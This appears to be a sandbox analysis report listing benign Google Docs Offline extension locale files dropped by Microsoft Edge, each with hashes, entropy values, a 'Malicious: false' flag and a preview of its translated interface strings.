C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
